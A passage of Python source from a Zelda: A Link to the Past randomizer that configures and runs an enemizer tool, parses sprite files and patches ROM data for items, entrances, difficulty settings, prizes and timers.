'ShuffleMusic': False,
'BootlegMagic': True,
'CustomBosses': False,
'AndyMode': False,
'HeartBeepSpeed': 0,
'AlternateGfx': False,
'ShieldGraphics': "shield_gfx/normal.gfx",
'SwordGraphics': "sword_gfx/normal.gfx",
'BeeMizer': False,
'BeesLevel': 0,
'RandomizeTileTrapPattern': world.enemy_shuffle[player] == 'chaos',
'RandomizeTileTrapFloorTile': False,
'AllowKillableThief': bool(random.randint(0,1)) if world.enemy_shuffle[player] == 'chaos' else world.enemy_shuffle[player] != 'none',
'RandomizeSpriteOnHit': random_sprite_on_hit,
'DebugMode': False,
'DebugForceEnemy': False,
'DebugForceEnemyId': 0,
'DebugForceBoss': False,
'DebugForceBossId': 0,
'DebugOpenShutterDoors': False,
'DebugForceEnemyDamageZero': False,
'DebugShowRoomIdInRupeeCounter': False,
'UseManualBosses': True,
'ManualBosses': {
'EasternPalace': world.get_dungeon("Eastern Palace", player).boss.enemizer_name,
'DesertPalace': world.get_dungeon("Desert Palace", player).boss.enemizer_name,
'TowerOfHera': world.get_dungeon("Tower of Hera", player).boss.enemizer_name,
'AgahnimsTower': 'Agahnim',
'PalaceOfDarkness': world.get_dungeon("Palace of Darkness", player).boss.enemizer_name,
'SwampPalace': world.get_dungeon("Swamp Palace", player).boss.enemizer_name,
'SkullWoods': world.get_dungeon("Skull Woods", player).boss.enemizer_name,
'ThievesTown': world.get_dungeon("Thieves Town", player).boss.enemizer_name,
'IcePalace': world.get_dungeon("Ice Palace", player).boss.enemizer_name,
'MiseryMire': world.get_dungeon("Misery Mire", player).boss.enemizer_name,
'TurtleRock': world.get_dungeon("Turtle Rock", player).boss.enemizer_name,
'GanonsTower1': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['bottom'].enemizer_name,
'GanonsTower2': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['middle'].enemizer_name,
'GanonsTower3': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['top'].enemizer_name,
'GanonsTower4': 'Agahnim2',
'Ganon': 'Ganon',
}
}
rom.write_to_file(randopatch_path)
with open(options_path, 'w') as f:
json.dump(options, f)
subprocess.check_call([os.path.abspath(enemizercli),
'--rom', baserom_path,
'--seed', str(world.rom_seeds[player]),
'--base', basepatch_path,
'--randomizer', randopatch_path,
'--enemizer', options_path,
'--output', enemizer_output_path],
cwd=os.path.dirname(enemizercli), stdout=subprocess.DEVNULL)
with open(enemizer_basepatch_path, 'r') as f:
for patch in json.load(f):
rom.write_bytes(patch["address"], patch["patchData"])
with open(enemizer_output_path, 'r') as f:
for patch in json.load(f):
rom.write_bytes(patch["address"], patch["patchData"])
if random_sprite_on_hit:
_populate_sprite_table()
sprites = list(_sprite_table.values())
if sprites:
while len(sprites) < 32:
sprites.extend(sprites)
random.shuffle(sprites)
for i, path in enumerate(sprites[:32]):
sprite = Sprite(path)
rom.write_bytes(0x300000 + (i * 0x8000), sprite.sprite)
rom.write_bytes(0x307000 + (i * 0x8000), sprite.palette)
rom.write_bytes(0x307078 + (i * 0x8000), sprite.glove_palette)
for used in (randopatch_path, options_path, enemizer_output_path):
try:
os.remove(used)
except OSError:
pass
_sprite_table = {}
def _populate_sprite_table():
if not _sprite_table:
for dir in [local_path('data/sprites/official'), local_path('data/sprites/unofficial')]:
for file in os.listdir(dir):
filepath = os.path.join(dir, file)
if not os.path.isfile(filepath):
continue
sprite = Sprite(filepath)
if sprite.valid:
_sprite_table[sprite.name.lower()] = filepath
def get_sprite_from_name(name):
_populate_sprite_table()
name = name.lower()
if name in ['random', 'randomonhit']:
return Sprite(random.choice(list(_sprite_table.values())))
return Sprite(_sprite_table[name]) if name in _sprite_table else None
class Sprite(object):
default_palette = [255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 71, 54, 104, 59, 74, 10, 239, 18, 92, 42, 113, 21, 24, 122,
255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 128, 105, 145, 118, 184, 38, 127, 67, 92, 42, 153, 17, 24, 122,
255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 87, 16, 126, 69, 243, 109, 185, 126, 92, 42, 39, 34, 24, 122,
255, 127, 126, 35, 218, 17, 158, 54, 165, 20, 255, 1, 120, 16, 151,
61, 71, 54, 104, 59, 74, 10, 239, 18, 126, 86, 114, 24, 24, 122]
default_glove_palette = [246, 82, 118, 3]
def __init__(self, filename):
with open(filename, 'rb') as file:
filedata = bytearray(file.read())
self.name = os.path.basename(filename)
self.author_name = None
self.valid = True
if len(filedata) == 0x7000:
# sprite file with graphics and without palette data
self.sprite = filedata[:0x7000]
self.palette = list(self.default_palette)
self.glove_palette = list(self.default_glove_palette)
elif len(filedata) == 0x7078:
# sprite file with graphics and palette data
self.sprite = filedata[:0x7000]
self.palette = filedata[0x7000:]
self.glove_palette = filedata[0x7036:0x7038] + filedata[0x7054:0x7056]
elif len(filedata) == 0x707C:
# sprite file with graphics and palette data including gloves
self.sprite = filedata[:0x7000]
self.palette = filedata[0x7000:0x7078]
self.glove_palette = filedata[0x7078:]
elif len(filedata) in [0x100000, 0x200000]:
# full rom with patched sprite, extract it
self.sprite = filedata[0x80000:0x87000]
self.palette = filedata[0xDD308:0xDD380]
self.glove_palette = filedata[0xDEDF5:0xDEDF9]
elif filedata.startswith(b'ZSPR'):
result = self.parse_zspr(filedata, 1)
if result is None:
self.valid = False
return
(sprite, palette, self.name, self.author_name) = result
if len(sprite) != 0x7000:
self.valid = False
return
self.sprite = sprite
if len(palette) == 0:
self.palette = list(self.default_palette)
self.glove_palette = list(self.default_glove_palette)
elif len(palette) == 0x78:
self.palette = palette
self.glove_palette = list(self.default_glove_palette)
elif len(palette) == 0x7C:
self.palette = palette[:0x78]
self.glove_palette = palette[0x78:]
else:
self.valid = False
else:
self.valid = False
@staticmethod
def default_link_sprite():
return Sprite(local_path('data/default.zspr'))
def decode8(self, pos):
arr = [[0 for _ in range(8)] for _ in range(8)]
for y in range(8):
for x in range(8):
position = 1<<(7-x)
val = 0
if self.sprite[pos+2*y] & position:
val += 1
if self.sprite[pos+2*y+1] & position:
val += 2
if self.sprite[pos+2*y+16] & position:
val += 4
if self.sprite[pos+2*y+17] & position:
val += 8
arr[y][x] = val
return arr
def decode16(self, pos):
arr = [[0 for _ in range(16)] for _ in range(16)]
top_left = self.decode8(pos)
top_right = self.decode8(pos+0x20)
bottom_left = self.decode8(pos+0x200)
bottom_right = self.decode8(pos+0x220)
for x in range(8):
for y in range(8):
arr[y][x] = top_left[y][x]
arr[y][x+8] = top_right[y][x]
arr[y+8][x] = bottom_left[y][x]
arr[y+8][x+8] = bottom_right[y][x]
return arr
def parse_zspr(self, filedata, expected_kind):
logger = logging.getLogger('')
headerstr = "<4xBHHIHIHH6x"
headersize = struct.calcsize(headerstr)
if len(filedata) < headersize:
return None
(version, csum, icsum, sprite_offset, sprite_size, palette_offset, palette_size, kind) = struct.unpack_from(headerstr, filedata)
if version not in [1]:
logger.error('Error parsing ZSPR file: Version %g not supported', version)
return None
if kind != expected_kind:
return None
stream = io.BytesIO(filedata)
stream.seek(headersize)
def read_utf16le(stream):
"Decodes a null-terminated UTF-16_LE string of unknown size from a stream"
raw = bytearray()
while True:
char = stream.read(2)
if char in [b'', b'\x00\x00']:
break
raw += char
return raw.decode('utf-16_le')
sprite_name = read_utf16le(stream)
author_name = read_utf16le(stream)
# Ignoring the Author Rom name for the time being.
real_csum = sum(filedata) % 0x10000
if real_csum != csum or real_csum ^ 0xFFFF != icsum:
logger.warning('ZSPR file has incorrect checksum. It may be corrupted.')
sprite = filedata[sprite_offset:sprite_offset + sprite_size]
palette = filedata[palette_offset:palette_offset + palette_size]
if len(sprite) != sprite_size or len(palette) != palette_size:
logger.error('Error parsing ZSPR file: Unexpected end of file')
return None
return (sprite, palette, sprite_name, author_name)
def decode_palette(self):
"Returns the palettes as an array of arrays of 15 colors"
def array_chunk(arr, size):
return list(zip(*[iter(arr)] * size))
def make_int16(pair):
return pair[1]<<8 | pair[0]
def expand_color(i):
return ((i & 0x1F) * 8, (i>>5 & 0x1F) * 8, (i>>10 & 0x1F) * 8)
raw_palette = self.palette
if raw_palette is None:
raw_palette = Sprite.default_palette
# turn palette data into a list of RGB tuples with 8 bit values
palette_as_colors = [expand_color(make_int16(chnk)) for chnk in array_chunk(raw_palette, 2)]
# split into palettes of 15 colors
return array_chunk(palette_as_colors, 15)
def patch_rom(world, rom, player, team, enemized):
random.seed(world.rom_seeds[player])
# progressive bow silver arrow hint hack
prog_bow_locs = world.find_items('Progressive Bow', player)
if len(prog_bow_locs) > 1:
# only pick a distingushed bow if we have at least two
distinguished_prog_bow_loc = random.choice(prog_bow_locs)
distinguished_prog_bow_loc.item.code = 0x65
# patch items
for location in world.get_locations():
if location.player != player:
continue
itemid = location.item.code if location.item is not None else 0x5A
if location.address is None:
continue
if not location.crystal:
if location.item is not None:
# Keys in their native dungeon should use the orignal item code for keys
if location.parent_region.dungeon:
if location.parent_region.dungeon.is_dungeon_item(location.item):
if location.item.bigkey:
itemid = 0x32
if location.item.smallkey:
itemid = 0x24
if location.item.map:
itemid = 0x33
if location.item.compass:
itemid = 0x25
if world.remote_items[player]:
itemid = list(location_table.keys()).index(location.name) + 1
assert itemid < 0x100
rom.write_byte(location.player_address, 0xFF)
elif location.item.player != player:
if location.player_address is not None:
rom.write_byte(location.player_address, location.item.player)
else:
itemid = 0x5A
rom.write_byte(location.address, itemid)
else:
# crystals
for address, value in zip(location.address, itemid):
rom.write_byte(address, value)
# patch music
music_addresses = dungeon_music_addresses[location.name]
if world.mapshuffle[player]:
music = random.choice([0x11, 0x16])
else:
music = 0x11 if 'Pendant' in location.item.name else 0x16
for music_address in music_addresses:
rom.write_byte(music_address, music)
if world.mapshuffle[player]:
rom.write_byte(0x155C9, random.choice([0x11, 0x16])) # Randomize GT music too with map shuffle
# patch entrance/exits/holes
for region in world.regions:
for exit in region.exits:
if exit.target is not None and exit.player == player:
if isinstance(exit.addresses, tuple):
offset = exit.target
room_id, ow_area, vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x, unknown_1, unknown_2, door_1, door_2 = exit.addresses
#room id is deliberately not written
rom.write_byte(0x15B8C + offset, ow_area)
write_int16(rom, 0x15BDB + 2 * offset, vram_loc)
write_int16(rom, 0x15C79 + 2 * offset, scroll_y)
write_int16(rom, 0x15D17 + 2 * offset, scroll_x)
# for positioning fixups we abuse the roomid as a way of identifying which exit data we are appling
# Thanks to Zarby89 for originally finding these values
# todo fix screen scrolling
if world.shuffle[player] not in ['insanity', 'insanity_legacy', 'madness_legacy'] and \
exit.name in ['Eastern Palace Exit', 'Tower of Hera Exit', 'Thieves Town Exit', 'Skull Woods Final Section Exit', 'Ice Palace Exit', 'Misery Mire Exit',
'Palace of Darkness Exit', 'Swamp Palace Exit', 'Ganons Tower Exit', 'Desert Palace Exit (North)', 'Agahnims Tower Exit', 'Spiral Cave Exit (Top)',
'Superbunny Cave Exit (Bottom)', 'Turtle Rock Ledge Exit (East)']:
# For exits that connot be reached from another, no need to apply offset fixes.
write_int16(rom, 0x15DB5 + 2 * offset, link_y) # same as final else
elif room_id == 0x0059 and world.fix_skullwoods_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x00F8)
elif room_id == 0x004a and world.fix_palaceofdarkness_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x0640)
elif room_id == 0x00d6 and world.fix_trock_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x0134)
elif room_id == 0x000c and world.fix_gtower_exit: # fix ganons tower exit point
write_int16(rom, 0x15DB5 + 2 * offset, 0x00A4)
else:
write_int16(rom, 0x15DB5 + 2 * offset, link_y)
write_int16(rom, 0x15E53 + 2 * offset, link_x)
write_int16(rom, 0x15EF1 + 2 * offset, camera_y)
write_int16(rom, 0x15F8F + 2 * offset, camera_x)
rom.write_byte(0x1602D + offset, unknown_1)
rom.write_byte(0x1607C + offset, unknown_2)
write_int16(rom, 0x160CB + 2 * offset, door_1)
write_int16(rom, 0x16169 + 2 * offset, door_2)
elif isinstance(exit.addresses, list):
# is hole
for address in exit.addresses:
rom.write_byte(address, exit.target)
else:
# patch door table
rom.write_byte(0xDBB73 + exit.addresses, exit.target)
if world.mode[player] == 'inverted':
patch_shuffled_dark_sanc(world, rom, player)
write_custom_shops(rom, world, player)
# patch medallion requirements
if world.required_medallions[player][0] == 'Bombos':
rom.write_byte(0x180022, 0x00) # requirement
rom.write_byte(0x4FF2, 0x31) # sprite
rom.write_byte(0x50D1, 0x80)
rom.write_byte(0x51B0, 0x00)
elif world.required_medallions[player][0] == 'Quake':
rom.write_byte(0x180022, 0x02) # requirement
rom.write_byte(0x4FF2, 0x31) # sprite
rom.write_byte(0x50D1, 0x88)
rom.write_byte(0x51B0, 0x00)
if world.required_medallions[player][1] == 'Bombos':
rom.write_byte(0x180023, 0x00) # requirement
rom.write_byte(0x5020, 0x31) # sprite
rom.write_byte(0x50FF, 0x90)
rom.write_byte(0x51DE, 0x00)
elif world.required_medallions[player][1] == 'Ether':
rom.write_byte(0x180023, 0x01) # requirement
rom.write_byte(0x5020, 0x31) # sprite
rom.write_byte(0x50FF, 0x98)
rom.write_byte(0x51DE, 0x00)
# set open mode:
if world.mode[player] in ['open', 'inverted']:
rom.write_byte(0x180032, 0x01) # open mode
if world.mode[player] == 'inverted':
set_inverted_mode(world, player, rom)
elif world.mode[player] == 'standard':
rom.write_byte(0x180032, 0x00) # standard mode
uncle_location = world.get_location('Link\'s Uncle', player)
if uncle_location.item is None or uncle_location.item.name not in ['Master Sword', 'Tempered Sword', 'Fighter Sword', 'Golden Sword', 'Progressive Sword']:
# disable sword sprite from uncle
rom.write_bytes(0x6D263, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D26B, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D293, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D29B, [0x00, 0x00, 0xf7, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D2B3, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2BB, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2E3, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2EB, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D31B, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
rom.write_bytes(0x6D323, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
# set light cones
rom.write_byte(0x180038, 0x01 if world.sewer_light_cone[player] else 0x00)
rom.write_byte(0x180039, 0x01 if world.light_world_light_cone else 0x00)
rom.write_byte(0x18003A, 0x01 if world.dark_world_light_cone else 0x00)
GREEN_TWENTY_RUPEES = 0x47
TRIFORCE_PIECE = ItemFactory('Triforce Piece', player).code
GREEN_CLOCK = ItemFactory('Green Clock', player).code
rom.write_byte(0x18004F, 0x01) # Byrna Invulnerability: on
# handle difficulty_adjustments
if world.difficulty_adjustments[player] == 'hard':
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xD8) # One Heart
# potion heal amount
rom.write_byte(0x180084, 0x38) # Seven Hearts
# potion magic restore amount
rom.write_byte(0x180085, 0x40) # Half Magic
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x02, 0x04, 0x08])
# Byrna Invulnerability: off
rom.write_byte(0x18004F, 0x00)
#Disable catching fairies
rom.write_byte(0x34FD6, 0x80)
overflow_replacement = GREEN_TWENTY_RUPEES
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x02) # Hookshot only
elif world.difficulty_adjustments[player] == 'expert':
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xD8) # One Heart
# potion heal amount
rom.write_byte(0x180084, 0x20) # 4 Hearts
# potion magic restore amount
rom.write_byte(0x180085, 0x20) # Quarter Magic
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x02, 0x04, 0x08])
# Byrna Invulnerability: off
rom.write_byte(0x18004F, 0x00)
#Disable catching fairies
rom.write_byte(0x34FD6, 0x80)
overflow_replacement = GREEN_TWENTY_RUPEES
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x00) # Nothing
else:
rom.write_byte(0x180181, 0x00) # Make silver arrows freely usable
rom.write_byte(0x180182, 0x01) # auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xE3) # fairy
# potion heal amount
rom.write_byte(0x180084, 0xA0) # full
# potion magic restore amount
rom.write_byte(0x180085, 0x80) # full
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x04, 0x08, 0x10])
# Byrna Invulnerability: on
rom.write_byte(0x18004F, 0x01)
#Enable catching fairies
rom.write_byte(0x34FD6, 0xF0)
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x03) # All standard items
#Set overflow items for progressive equipment
if world.timer[player] in ['timed', 'timed-countdown', 'timed-ohko']:
overflow_replacement = GREEN_CLOCK
else:
overflow_replacement = GREEN_TWENTY_RUPEES
#Byrna residual magic cost
rom.write_bytes(0x45C42, [0x04, 0x02, 0x01])
difficulty = world.difficulty_requirements[player]
#Set overflow items for progressive equipment
rom.write_bytes(0x180090,
[difficulty.progressive_sword_limit if world.swords[player] != 'swordless' else 0, overflow_replacement,
difficulty.progressive_shield_limit, overflow_replacement,
difficulty.progressive_armor_limit, overflow_replacement,
difficulty.progressive_bottle_limit, overflow_replacement,
difficulty.progressive_bow_limit, overflow_replacement])
if difficulty.progressive_bow_limit < 2 and world.swords[player] == 'swordless':
rom.write_bytes(0x180098, [2, overflow_replacement])
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# set up game internal RNG seed
for i in range(1024):
rom.write_byte(0x178000 + i, random.randint(0, 255))
# shuffle prize packs
prizes = [0xD8, 0xD8, 0xD8, 0xD8, 0xD9, 0xD8, 0xD8, 0xD9, 0xDA, 0xD9, 0xDA, 0xDB, 0xDA, 0xD9, 0xDA, 0xDA, 0xE0, 0xDF, 0xDF, 0xDA, 0xE0, 0xDF, 0xD8, 0xDF,
0xDC, 0xDC, 0xDC, 0xDD, 0xDC, 0xDC, 0xDE, 0xDC, 0xE1, 0xD8, 0xE1, 0xE2, 0xE1, 0xD8, 0xE1, 0xE2, 0xDF, 0xD9, 0xD8, 0xE1, 0xDF, 0xDC, 0xD9, 0xD8,
0xD8, 0xE3, 0xE0, 0xDB, 0xDE, 0xD8, 0xDB, 0xE2, 0xD9, 0xDA, 0xDB, 0xD9, 0xDB, 0xD9, 0xDB]
dig_prizes = [0xB2, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8,
0xD9, 0xD9, 0xD9, 0xD9, 0xD9, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA,
0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDC, 0xDC, 0xDC, 0xDC, 0xDC,
0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE,
0xDF, 0xDF, 0xDF, 0xDF, 0xDF, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE1, 0xE1, 0xE1, 0xE1, 0xE1, 0xE2, 0xE2, 0xE2, 0xE2, 0xE2,
0xE3, 0xE3, 0xE3, 0xE3, 0xE3]
def chunk(l,n):
return [l[i:i+n] for i in range(0, len(l), n)]
# randomize last 7 slots
prizes [-7:] = random.sample(prizes, 7)
#shuffle order of 7 main packs
packs = chunk(prizes[:56], 8)
random.shuffle(packs)
prizes[:56] = [drop for pack in packs for drop in pack]
if world.difficulty_adjustments[player] in ['hard', 'expert']:
prize_replacements = {0xE0: 0xDF, # Fairy -> heart
0xE3: 0xD8} # Big magic -> small magic
prizes = [prize_replacements.get(prize, prize) for prize in prizes]
dig_prizes = [prize_replacements.get(prize, prize) for prize in dig_prizes]
if world.retro[player]:
prize_replacements = {0xE1: 0xDA, #5 Arrows -> Blue Rupee
0xE2: 0xDB} #10 Arrows -> Red Rupee
prizes = [prize_replacements.get(prize, prize) for prize in prizes]
dig_prizes = [prize_replacements.get(prize, prize) for prize in dig_prizes]
rom.write_bytes(0x180100, dig_prizes)
# write tree pull prizes
rom.write_byte(0xEFBD4, prizes.pop())
rom.write_byte(0xEFBD5, prizes.pop())
rom.write_byte(0xEFBD6, prizes.pop())
# rupee crab prizes
rom.write_byte(0x329C8, prizes.pop()) # first prize
rom.write_byte(0x329C4, prizes.pop()) # final prize
# stunned enemy prize
rom.write_byte(0x37993, prizes.pop())
# saved fish prize
rom.write_byte(0xE82CC, prizes.pop())
# fill enemy prize packs
rom.write_bytes(0x37A78, prizes)
# set bonk prizes
bonk_prizes = [0x79, 0xE3, 0x79, 0xAC, 0xAC, 0xE0, 0xDC, 0xAC, 0xE3, 0xE3, 0xDA, 0xE3, 0xDA, 0xD8, 0xAC, 0xAC, 0xE3, 0xD8, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xDC, 0xDB, 0xE3, 0xDA, 0x79, 0x79, 0xE3, 0xE3,
0xDA, 0x79, 0xAC, 0xAC, 0x79, 0xE3, 0x79, 0xAC, 0xAC, 0xE0, 0xDC, 0xE3, 0x79, 0xDE, 0xE3, 0xAC, 0xDB, 0x79, 0xE3, 0xD8, 0xAC, 0x79, 0xE3, 0xDB, 0xDB, 0xE3, 0xE3, 0x79, 0xD8, 0xDD]
bonk_addresses = [0x4CF6C, 0x4CFBA, 0x4CFE0, 0x4CFFB, 0x4D018, 0x4D01B, 0x4D028, 0x4D03C, 0x4D059, 0x4D07A, 0x4D09E, 0x4D0A8, 0x4D0AB, 0x4D0AE, 0x4D0BE, 0x4D0DD,
0x4D16A, 0x4D1E5, 0x4D1EE, 0x4D20B, 0x4CBBF, 0x4CBBF, 0x4CC17, 0x4CC1A, 0x4CC4A, 0x4CC4D, 0x4CC53, 0x4CC69, 0x4CC6F, 0x4CC7C, 0x4CCEF, 0x4CD51,
0x4CDC0, 0x4CDC3, 0x4CDC6, 0x4CE37, 0x4D2DE, 0x4D32F, 0x4D355, 0x4D367, 0x4D384, 0x4D387, 0x4D397, 0x4D39E, 0x4D3AB, 0x4D3AE, 0x4D3D1, 0x4D3D7,
0x4D3F8, 0x4D416, 0x4D420, 0x4D423, 0x4D42D, 0x4D449, 0x4D48C, 0x4D4D9, 0x4D4DC, 0x4D4E3, 0x4D504, 0x4D507, 0x4D55E, 0x4D56A]
if world.shuffle_bonk_prizes:
random.shuffle(bonk_prizes)
for prize, address in zip(bonk_prizes, bonk_addresses):
rom.write_byte(address, prize)
# Fill in item substitutions table
rom.write_bytes(0x184000, [
# original_item, limit, replacement_item, filler
0x12, 0x01, 0x35, 0xFF, # lamp -> 5 rupees
0x51, 0x06, 0x52, 0xFF, # 6 +5 bomb upgrades -> +10 bomb upgrade
0x53, 0x06, 0x54, 0xFF, # 6 +5 arrow upgrades -> +10 arrow upgrade
0x58, 0x01, 0x36 if world.retro[player] else 0x43, 0xFF, # silver arrows -> single arrow (red 20 in retro mode)
0x3E, difficulty.boss_heart_container_limit, 0x47, 0xff, # boss heart -> green 20
0x17, difficulty.heart_piece_limit, 0x47, 0xff, # piece of heart -> green 20
0xFF, 0xFF, 0xFF, 0xFF, # end of table sentinel
])
# set Fountain bottle exchange items
if world.difficulty[player] in ['hard', 'expert']:
rom.write_byte(0x348FF, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x48][random.randint(0, 5)])
rom.write_byte(0x3493B, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x48][random.randint(0, 5)])
else:
rom.write_byte(0x348FF, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x3D, 0x48][random.randint(0, 6)])
rom.write_byte(0x3493B, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x3D, 0x48][random.randint(0, 6)])
#enable Fat Fairy Chests
rom.write_bytes(0x1FC16, [0xB1, 0xC6, 0xF9, 0xC9, 0xC6, 0xF9])
# set Fat Fairy Bow/Sword prizes to be disappointing
rom.write_byte(0x34914, 0x3A) # Bow and Arrow
rom.write_byte(0x180028, 0x49) # Fighter Sword
# enable Waterfall fairy chests
rom.write_bytes(0xE9AE, [0x14, 0x01])
rom.write_bytes(0xE9CF, [0x14, 0x01])
rom.write_bytes(0x1F714, [225, 0, 16, 172, 13, 41, 154, 1, 88, 152, 15, 17, 177, 97, 252, 77, 129, 32, 218, 2, 44, 225, 97, 252, 190, 129, 97, 177, 98, 84, 218, 2,
253, 141, 131, 68, 225, 98, 253, 30, 131, 49, 165, 201, 49, 164, 105, 49, 192, 34, 77, 164, 105, 49, 198, 249, 73, 198, 249, 16, 153, 160, 92, 153,
162, 11, 152, 96, 13, 232, 192, 85, 232, 192, 11, 146, 0, 115, 152, 96, 254, 105, 0, 152, 163, 97, 254, 107, 129, 254, 171, 133, 169, 200, 97, 254,
174, 129, 255, 105, 2, 216, 163, 98, 255, 107, 131, 255, 43, 135, 201, 200, 98, 255, 46, 131, 254, 161, 0, 170, 33, 97, 254, 166, 129, 255, 33, 2,
202, 33, 98, 255, 38, 131, 187, 35, 250, 195, 35, 250, 187, 43, 250, 195, 43, 250, 187, 83, 250, 195, 83, 250, 176, 160, 61, 152, 19, 192, 152, 82,
192, 136, 0, 96, 144, 0, 96, 232, 0, 96, 240, 0, 96, 152, 202, 192, 216, 202, 192, 216, 19, 192, 216, 82, 192, 252, 189, 133, 253, 29, 135, 255,
255, 255, 255, 240, 255, 128, 46, 97, 14, 129, 14, 255, 255])
# set Waterfall fairy prizes to be disappointing
rom.write_byte(0x348DB, 0x3A) # Red Boomerang becomes Red Boomerang
rom.write_byte(0x348EB, 0x05) # Blue Shield becomes Blue Shield
# Remove Statues for upgrade fairy
rom.write_bytes(0x01F810, [0x1A, 0x1E, 0x01, 0x1A, 0x1E, 0x01])
rom.write_byte(0x180029, 0x01) # Smithy quick item give
# set swordless mode settings
rom.write_byte(0x18003F, 0x01 if world.swords[player] == 'swordless' else 0x00) # hammer can harm ganon
rom.write_byte(0x180040, 0x01 if world.swords[player] == 'swordless' else 0x00) # open curtains
rom.write_byte(0x180041, 0x01 if world.swords[player] == 'swordless' else 0x00) # swordless medallions
rom.write_byte(0x180043, 0xFF if world.swords[player] == 'swordless' else 0x00) # starting sword for link
rom.write_byte(0x180044, 0x01 if world.swords[player] == 'swordless' else 0x00) # hammer activates tablets
# set up clocks for timed modes
if world.shuffle[player] == 'vanilla':
ERtimeincrease = 0
elif world.shuffle[player] in ['dungeonssimple', 'dungeonsfull']:
ERtimeincrease = 10
else:
ERtimeincrease = 20
if world.keyshuffle[player] or world.bigkeyshuffle[player] or world.mapshuffle[player]:
ERtimeincrease = ERtimeincrease + 15
if world.clock_mode[player] == False:
rom.write_bytes(0x180190, [0x00, 0x00, 0x00]) # turn off clock mode
write_int32(rom, 0x180200, 0) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 0) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 0) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
elif world.clock_mode[player] == 'ohko':
rom.write_bytes(0x180190, [0x01, 0x02, 0x01]) # ohko timer with resetable timer functionality
write_int32(rom, 0x180200, 0) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 0) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 0) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
elif world.clock_mode[player] == 'countdown-ohko':
rom.write_bytes(0x180190, [0x01, 0x02, 0x01]) # ohko timer with resetable timer functionality
write_int32(rom, 0x180200, -100 * 60 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
if world.difficulty_adjustments[player] == 'normal':
write_int32(rom, 0x18020C, (10 + ERtimeincrease) * 60 * 60) # starting time (in frames, sint32)
else:
write_int32(rom, 0x18020C, int((5 + ERtimeincrease / 2) * 60 * 60)) # starting time (in frames, sint32)
if world.clock_mode[player] == 'stopwatch':
rom.write_bytes(0x180190, [0x02, 0x01, 0x00]) # set stopwatch mode
write_int32(rom, 0x180200, -2 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
if world.clock_mode[player] == 'countdown':
rom.write_bytes(0x180190, [0x01, 0x01, 0x00]) # set countdown, with no reset available
